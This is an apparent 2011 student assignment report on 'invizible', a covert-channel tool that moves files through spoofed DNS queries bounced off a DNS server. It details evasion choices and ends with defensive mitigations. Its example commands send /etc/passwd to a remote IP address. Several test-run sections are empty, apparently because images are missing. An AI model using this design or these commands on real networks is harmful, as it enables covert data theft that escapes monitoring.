Vous êtes sur la page 1sur 20

BCIT Computing and Information Technology

COMP 8505 Special Topics in Network and Security Applications Development


Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

This assignment reviews and builds on the covert channel “proof of concept” program covert_tcp.c
designed and developed by Craig Rowland in 1996.

An updated and enhanced covert channel file transfer program has been developed by the author
for this assignment, and made available as an open source project at
https://launchpad.net/invizible.

A covert channel, as Rowland stated, is described as “any communication channel that can be
exploited by a process to transfer information in a manner that violates the systems security
policy”. The purpose of the invizible program, however, is not simply malicious, but to
demonstrate an alternative way that a file can be transferred over a covert channel, in order to
assist in educating system administrators and network security personnel on the need to protect
against such possibilities.

Introduction ............................................................................................ page 2

Analysis and Methodology ....................................................................... page 2

invizible pseudo-code .............................................................................. page 5

invizible options ....................................................................................... page 7

invizible test runs ..................................................................................... page 8

Summary and Conclusions ..................................................................... page 18

Appendix .................................................................................................. page 19

Credits ...................................................................................................... page 20

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 1 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

Introduction

This assignment reviews and builds on the covert channel “proof of concept” program covert_tcp.c
designed and developed by Craig Rowland in 1996. A reference to this program can be found at
http://firstmonday.org/htbin/cgiwrap/bin/ojs/index.php/fm/article/view/528/449

An updated and enhanced covert channel file transfer program is developed here, and made
available as an open source project at https://launchpad.net/invizible.

Analysis and Methodology

The “invizible” program developed for this assignment does not make use of TCP, as Rowland did,
but rather UDP. More specifically, on the client/sending side, the program uses standard-format,
unaltered DNS queries encapsulated in UDP packets. These DNS query packets are sent to any
valid DNS server on standard port 53. In order to involve the server/receiving side, the IP header
in each packet contains a spoofed source address, such address being the address of the
waiting/listening server. In this way the DNS server receiving the query packet will send out a
DNS reply packet to the server. The file transfer is thus performed “one-way” and “blind”, with the
client not receiving any packets from the server.

This design pattern was selected for the invizible program to address one of the weaknesses in
Rowland’s program – namely its reliance on TCP SYN packets. These are packets sent out from a
(client-side) program to initiate a connection to some sort of remote service (server-side). A
necessary component of these packets is a source port from the client and a destination port on
the server. These port numbers greatly expand the surface area of vulnerability to the covert
operation, since they provide information on what sort of remote service is being asked for in each
case. If there are a significant number of TCP SYN packets going out to not-well-known remote
port 28509, for example, then someone may notice and ask why. If there are thousands – or
hundreds of thousands – of TCP SYN packets exiting to a large number of random unprivileged
remote ports, then again someone may notice and ask why. If these packets are exiting out to
some well-known port number such as http port 80 then someone may again may notice and ask
why are there so many of these?

The invizible program removes this port number vulnerability by exposing only a single port
number: standard DNS port 53. It also increases the “covertness” of the task by increasing the
“normalness” of the methodology: DNS queries are very common. Each character in the file
transferred is mapped by invizible to a DNS domain “A” record lookup. A list of popular domain
names is embedded in the invizible program, and along with a “seed” number specified at start-
up, is used to identify which domain name correlates to which character for each packet number.
The seed number is incremented with each packet, so that the mapping of domain names is not
static.

A related improvement in invizible comes from the client-side source port being a randomly
numbered unprivileged port number, and so is of no value to someone searching for, or

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 2 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________
investigating, the covert operation. It will exhibit no patterns that would be distinguishable from
any other source port numbers used on DNS queries.

A 2nd weakness of Rowland’s program was the use of direct communications between client and
server in two of his methods. TCP SYN packets were sent from the client to the server containing
a single, embedded file content character in either the 16-bit IP identification field or the 32-bit
TCP initial sequence number in these methods. The primary weakness inherent in these methods
is the potential to identify both of the devices involved in the file transfer: both the client and
server IP addresses are contained in the packets and would be available for identification
purposes if the covert communication was to be discovered. By bouncing DNS queries off a valid
DNS server to the destination server, this weakness is removed. The IP packets coming from the
client (headed to the DNS server) contain the DNS server IP address and the destination server IP
address. The IP packets coming from the DNS server (headed to the destination server) contains
the same IP addresses but in reverse order. No packets ever contain the source client IP address.

Rowland’s program had a 3rd very obvious weakness: timing between sent packets. Every packet
was sent by covert_tcp after a one second pause, and was thus vulnerable to anyone looking for
this distinctive signature. The invizible program on the other hand has a variable number of
seconds between packets, randomly chosen after each packet within a range specified by the user
at start-up. If the client-side program was started with the –sleepmax=9 parameter, for example,
then random delays between 0 and 9 seconds would be inserted between each sent packet. The
program supports maximum delays of up to 3600 seconds between packets, and also allows very
fast file transfers (with no inserted delays) by way of this parameter being specified as –
sleepmax=0.

A 4th weakness of Rowland’s proof of concept was its lack of ability to communicate the start of a
file transfer, and its failure to tell the server the size of the incoming file. The invizible program
addresses both of these issues by having a specific trigger sent by the client to advise the server
that the file transfer was starting, and how many bytes should be expected. The start trigger is
not static either, with the program needing to be started with matching –key= parameter values
of any contiguous character string. Combined with matching –seed= parameter values of any
numeric value between 0 and 255, the file transfer is begun with a DNS query of
key.domain.extension. With –seed=0 and –key=milliways, for example, the first DNS query would
be for milliways.google.com.

5th on the list of weaknesses is Rowland’s dependence on firewall settings on the server to gain
access to incoming packets. Many firewalls are configured to limit access to most ports, but the
invizible program eliminates this dependency by using the pcap library to filter and read incoming
packets, rather than using sockets and ports. The pcap library allows invizible to read and process
the same packets that are read and processed by the server’s own firewall. Rowland’s covert_tcp
only had access to packets after the server’s firewall had processed them.

A final weakness identified in Rowland’s program was its potentially high CPU utilization on the
server. Every packet received by the server was being processed as it was received on a raw
socket, and this socket was opened and then closed after receiving each packet! On the client-
side, this same technique was used – opening and closing a raw socket for every single packet -

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 3 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________
though with one-second pauses between each packet it would not have much of an impact on CPU
utilization. On the server, however, this was potentially a serious problem given that the program
should be run on as busy a server as possible in order to better hide its activity. Every packet
arriving at the server was thus being read and processed, and it is quite possible that between
closing the raw socket and opening it again there would eventually be packets that would be
missed.

The invizible program in this assignment opens a single raw socket on the client-side for sending
and leaves it open until the file transfer is completed. On the server, no sockets are used, and the
pcap library is used to automatically filter out any arriving packets that are not coming from port
53 on the designated DNS server. This is far more efficient, and much less of a drain on CPU
utilization for a busy server.

It should be mentioned that two additional weakness in Rowland’s program have not been
addressed for this assignment. Rowland’s third method of bouncing TCP SYN packets off an
intermediate server by spoofing the source address of such packets will be unusable
(unsuccessful) in environments where a firewall exists - through which the client’s packets must
be sent – that is configured to drop outgoing packets that have an external (spoofed) source IP
address. This limitation also exists in the invizible program, with the consequence being that file
transfers can only be done between devices on the same subnet, internal to such a restrictive
firewall. System administrators and network security personnel would be well advised to ensure
all firewalls under their control are setup in this way, and that the detection of any such packets is
clearly logged and monitored.

Secondly, on the server side, the invizible program makes use of the pcap library to bypass any
firewall settings on the server, which is clearly an improvement. However, this does not address
the possibility that firewalls not on the server – through which incoming packets must pass – are
somehow restricting packets. If such firewalls are stateful and keep track of which UDP DNS
queries have been sent, in order to match incoming UDP DNS replies to them, then there may be
no way to get packets through to the server from the client by the invizible program in its current
implementation.

An important part of the invizible program design that should be mentioned is the embedding and
customization of the “hping” open source program (http://hping.org) and parts of the “pcap”
library (http://www.tcpdump.org). Hping was customized to allow udp packet data payloads to
be constructed from a preloaded “datapayload” global variable, in much the same way the
program already provides support for using the contents of a specified file to construct a data
payload.

The pcap library was customized in 2 ways. First, pcap_lookupdevspec() was customized to allow
a specified interface to be used rather than simply using the first interface found. This specified
interface can be identified by way of the –if= command-line parameter in invizible for the server
side. Secondly, handle_IP() was extensively customized to process each received packet: this is
where the DNS reply packets are processed and where the writing of the file on the server is
done.

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 4 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________
The libev event library was also embedded in invizible, but was not used. Details on libev can be
found at http://software.schmorp.de/pkg/libev.html

invizible pseudo-code

Define prototypes;
Define global variables;
Main() function {
Initialize parameters and set defaults (else fail);
Validate command-line parameters (else fail);
Run();
Clean up parameters;
Exit;
}

Run() function {
Define local variables;
Set euid to root; (else fail);
Forgepacket() function;
Clean up global variables;
Exit;
}

Forgepacket() function {
Define local variables;
Get system time using gettimeofday();
Set hping-related global variables;
Resolve IP addresses; (else fail);
Determine “trigger” hostname; (to indicate start of file transfer)
If (running as client) {
Determine which interface to use for sending; (else fail);
Open file to be transferred; (else fail);
For (each char read from file) {
Calculate x random sleep seconds;
If (sleep seconds > 0) {
Sleep for x seconds;
}
Construct packet IP and UDP header values;
Calculate DNS lookup hostname using get_lookuphost();
// Original covert_tcp code for TCP packets remains intact
// but is not used
// If first UDP packet being sent then use “trigger” hostname
// and embed first char of file in UDP header trans ID field
// If second UDP packet being sent then
// embed file size in UDP header trans ID field
// If third or more UDP packet being sent then
// embed encoded “seed” value in UDP header trans ID field
Validate DNS hostname using get_lookupchar(); (else fail);
Construct packet DNS data payload;
If (raw socket not yet opened) {
Open raw socket; (else fail);
Open_pcap() to ensure is available; (else fail);
}

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 5 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________
Calculate packet checksums;
Send_udp(); // using embedded hping
Count packets sent;
Increment file transfer count;
Display progress message if applicable;
}
Close file; // transfer now complete
Close raw socket;
} else if (running as server) {
Create new file to be received; (else fail);
Determine which interface to use for receiving; (else fail);
Get local address and subnet mask using pcap_lookupnet(); (else fail);
Pcap_open_live(); (else fail);
Calculate packet filter;
Pcap_compile(); (else fail);
Pcap_setfilter(); (else fail);
// now wait for incoming
Pcap_loop() with callback to pcap_packet_callback();
Close (file); // transfer aborted or complete
}
}

Pcap_packet_callback() function {
// this will only be called for packets matching
// the defined “filter”
If ETHERTYPE_IP packet {
Process packet with handle_IP();
}
}

Handle_ip() function {
Define local variables;
If (packet is UDP protocol) {
Decompose DNS query fields;
// actual DNS reply data is ignored
Determine “trigger” hostname; (to indicate start of file transfer)
If (DNS query does not match trigger) {
// ignore it
} else {
Set “file transfer started” global flag;
Get first character of file from UDP header trans ID field;
}
If (file transfer has started) {
If (second packet received) {
Get file size from UDP header trans ID field;
}
Increment packet count;
Increment file received count;
Write file character to file; (else fail);
If (all file received) {
Set “file transfer finished” global flag;
}
}
}
}

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 6 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

invizible options

Command line options and defaults for the invizible program are as follows:

--client or –mode=client (to indicate file to be transferred from this machine)


--server or –mode=server (to indicate file is to be received on this machine)
--verbose (to indicate additional detailed messages are to be displayed)
--file=xxxxx (on client indicates file to be transferred; on server indicates file to be created)
--seed=nnn (must match on both client and server; number between 0 and 255)
--key=xyz (must match on both client and server; any alphanumeric string)
--sleepmax=nnn (on client only, to indicate max number of seconds to wait between packets)
--ipv4=0 or =1 (to indicate whether to use IPv4 addressing: defaults to 1)
--ipv6=0 or =1 (to indicate whether to use IPv6 addressing: defaults to 0; not fully implemented)
--udp=0 or =1 (to indicate whether to use udp: defaults to 1)
--tcp=0 or =1 (to indicate whether to use tcp: defaults to 0; if 1 then activates original covert_tcp
code; not fully tested at this time)
--icmp=0 or =1 (to indicate whether to use icmp: defaults to 0; not fully implemented)
--socks=0 or =1 (to indicate whether to use socks: defaults to 0; not fully implemented)
--dns=xyz (must match on both client and server; specifies IP address of DNS server to be used;
on the client this DNS server is sent queries; on the server this DNS server is expected to be
sending DNS replies: defaults to 208.67.222.222 OpenDNS server)
--server=xyz (on client only, must specify IP address of server to receive file transfer; server side
of program must be running on this IP address in order to receive file transfer)
--remove=0 or =1 (on client only, to indicate whether to remove file from disk after transfer is
complete: defaults to 0)
--replace=0 or =1 (on server only, to indicate whether an existing file on disk is to be replaced)
--dnsipv4=xyz (same as –dns= option if need to use both IPv4 and IPv6 addressing)
--dnsipv6=xyz (same as –dns= option if need to use both IPv4 and IPv6 addressing)
--serveripv4=xyz (same as –server= option if need to use both IPv4 and IPv6 addressing)
--serveripv6=xyz (same as –server= option if need to use both IPv4 and IPv6 addressing)

Example 1:
./invizible –client –file=/etc/passwd –server=212.117.54.128 –seed=19 –key=ns3

This would be run along with the following on the machine at IP address 212.117.54.128:

./invizible –server –file=/tmp/passwd.mine –seed=19 –key=ns3

Example 2:
./invizible –client –file=/etc/passwd –server=192.168.0.22 –dns=192.168.0.1 –seed=140 –
key=milliways

This would be run along with the following on the machine at IP address 192.168.0.22:

./invizible –server –file=/tmp/passwd.mine –dns=192.168.0.1 –seed=140 –key=milliways

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 7 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

invizible test runs

An initial client test run was done on May 3, 2011 as follows. Note the max pause/sleep between
packets of 1 second. The file transferred was the /etc/hosts file, bounced off the DNS server at
the router address of 192.168.0.1 to another machine on the local subnet at 192.168.0.199.

The first portion of the client.log file is shown below:

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 8 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

The last portion of the client.log file is shown below:

The actual contents of the transferred file are shown below:

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 9 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

A second test run was done as follows, with a max 5 second pause between packets. This also
shows the local IP address of 192.168.0.193 as per ifconfig:

The first portion of the client_sleepmax5.log file is shown below:

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 10 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

The last portion of the client_sleepmax5.log file is shown below:

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 11 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

A 3rd test run was done as follows, with a –key=bigbadboy and a max 3 second pause between
packets. This test run was captured by Wireshark as well.

The initial portion of the Wireshark packet capture is shown below. This is recorded in the
accompanying “wireshark_bigbadboy.pcap” file. Note the first “trigger” hostname lookup is
“bigbadboy.google.com” as expected, with a –seed=0 value.

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 12 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

A 4th test was run as follows:

The server side of this test was captured as follows:

The beginning portion of the client_test4.log file is shown below:

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 13 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

The beginning portion of the server_test.log file is shown below:

Note in the server_test4.log file show above the 3rd line showing seed=5, key=test4. Also note
the 11th line showing “dns query received for test4.facebook.com (1 of 0)”. This is the trigger
hostname. The “test4” portion of the domain name is the unique key, and “facebook.com” is
associated with seed=5. All instances of the program that have seed=5 would start with a lookup
on facebook.com, as can be confirmed by looking at the enclosed source code listing for invizible.c
in the set_hostnames() function, where google is the first hostname listed (seed=0) and facebook
is the sixth hostname listed (seed=5).

Note also that in the trigger DNS query is shown “(1 of 0)”. This is indicative that the file size is
not sent from the client to the server until the 2nd packet. The 2nd packet shows as “(2 of 1029)”
confirming this. (However, the 1029 is incorrect, and obviously should show as 254. This is an
anomaly in the program that has not yet been addressed, due simply to the time constraints for
this project.)

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 14 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

The last portion of the client_test4.log file is shown below:

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 15 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

The last portion of the server_test4.log file is shown below:

There are clearly some unresolved issue on the server/receiving side that time constraints for this
assignment did not allow to be addressed. As mentioned previously, the file size for the /etc/hosts
file was 254 bytes, not 1029. But in addition, some of the dns queries received are showing as
“unrecognized”. And the received file “recvhost.txt” is unfortunately corrupt, as shown below:

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 16 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

The first portion of the Wireshark packet capture (recorded in the “Wireshark_test4.pcap” file) on
test4 is shown below. Note that packet 86 shows the “trigger” hostname DNS query of
“test4.facebook.com” at 12:54:49.13859. This corresponds to the first packet shown in the
“client_test4.log” file shown previously. Included in the rest of the Wireshark packet capture are
the remaining DNS queries sent out from the client. There was no corresponding Wireshark packet
capture done on the server side of this test.

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 17 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

Summary and Conclusions

Rowland’s 1996 covert_tcp proof of concept program for implementing covert channels for file
transfer has been improved and successfully modified to use an alternative covert channel via
UDP DNS query packets. There are some remaining issues to be addressed in the resulting
program - which has been made into an open source project at https://launchpad.net/invizible -
but all issues are believed to be addressable with additional time.

There were a number of weaknesses in Rowland’s program that have been addressed with this
assignment. Exclusive use of TCP SYN packets has been replaced by UDP DNS query packets. Use
of various source and destination ports has been replaced by use of only port 53 for DNS queries
and replies. Dependence on firewall settings on the server to gain access to ports has been
eliminated through use of pcap library functions. Direct communication between server and client
has been eliminated, using any DNS server as an intermediary “bounce” server. Timing between
transmitted packets has been made random within a user-definable range of up to 1 hour, rather
than always having a duration of one second. And finally, the potential for high CPU utilization
rates – and the resulting consequence of dropped/missed packets – on a high-traffic server has
been reduced by using the pcap library so that only a small subset of incoming packets are
required to be processed.

The invizible program created for this assignment is believed to be a useful tool for system
administrators and network security personnel to study to better understand some of the risks
they must address in protecting the computer systems under their care. Two things that can be
done to mitigate these risks are to ensure that all firewalls implement rules to drop and log
outgoing packets that have spoofed IP addresses, and to ensure that stand-alone, stateful
firewalls are implemented to match incoming DNS replies with originating DNS queries.

Complete source code, log files, and Wireshark packet capture files are included on the
accompanying DVD for confirmation of design work and evidence of test results.

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 18 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

Appendix

The following files are included on the accompanying DVD:

/ root directory:
COMP8505_Assignment1_final.docx (this file)
COMP8505_Assignment1_final.doc (doc version of this file)
COMP8505_Assignment1_final.pdf (pdf version of this file)
Ass1-11.pdf (copy of assignment description)
*.log (various log files from client and server testing)
*.pcap (various Wireshark packet capture files)
invizible (32-bit Linux executable)
covert_tcp.c (original Rowland program)

/src/ directory:
common.h (c header file for common functions)
conf.h (c header file for config file functions)
hpingwrap.h (c header file for embedded hping)
invizible.h (c header file for invizible functions)
libevwrap.h (c header file for embedded libev)
mypcap.h (c header file for customized pcap functions)
parms.h (c header file for parameter functions)
common.c (c source file for common functions)
conf.c (c source file for config file functions)
hpingwrap.c (c source file for embedded hping)
invizible.c (c source file for invizible functions)
libevwrap.c (c source file for embedded libev)
main.c (c main source file)
mypcap.c (c source file for customized pcap functions)
parms.c (c source file for parameter functions)
LICENSE (license and copyright statements)
TODO (list of outstanding and planned items)

/src/hping directory: (embedded hping headers and source)

/src/libev directory: (embedded libev headers and source)

/src/pcap directory: (embedded subset of libpcap headers and source)

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 19 of 20
BCIT Computing and Information Technology
COMP 8505 Special Topics in Network and Security Applications Development
Due Date: May 3, 2011
Author: Arthur (Wesley) Kenzie A00242330
Assignment 1: Covert Channel Using TCP/IP Protocol Suite (Final Version)
______________________________________________________________________________

Credits

Linux is a registered trademark of Linus Torvalds.

Covert_TCP 1.0 - Covert channel file transfer for Linux


Written by Craig H. Rowland (crowland@psionic.com)
Copyright 1996 Craig H. Rowland (11-15-96)

libev Copyright (c) 2007,2008,2009 Marc Alexander Lehmann

bind Copyright (c) 2004-2011 Internet Systems Consortium, Inc. ("ISC")


and Copyright (c) 1996-2003 Internet Software Consortium.
and Portions Copyright (c) 1996-2001 Nominum, Inc.

hping3 Copyright (c) 1999 by Salvatore Sanfilippo <antirez@invece.org>

eventdns Version: 0.1b developed by Adam Langley <agl@imperialviolet.org>

libevent evdns Copyright (c) 2000-2007 Niels Provos <provos@citi.umich.edu>


and Copyright (c) 2007-2010 Niels Provos and Nick Mathewson

libpcap examples Copyright (c) Martin Casado & Richard Stevens


and Aman Abdulla: April 23, 2006

______________________________________________________________________________
Copyright © 2011. Arthur (Wesley) Kenzie. All Rights Reserved. Page 20 of 20

Vous aimerez peut-être aussi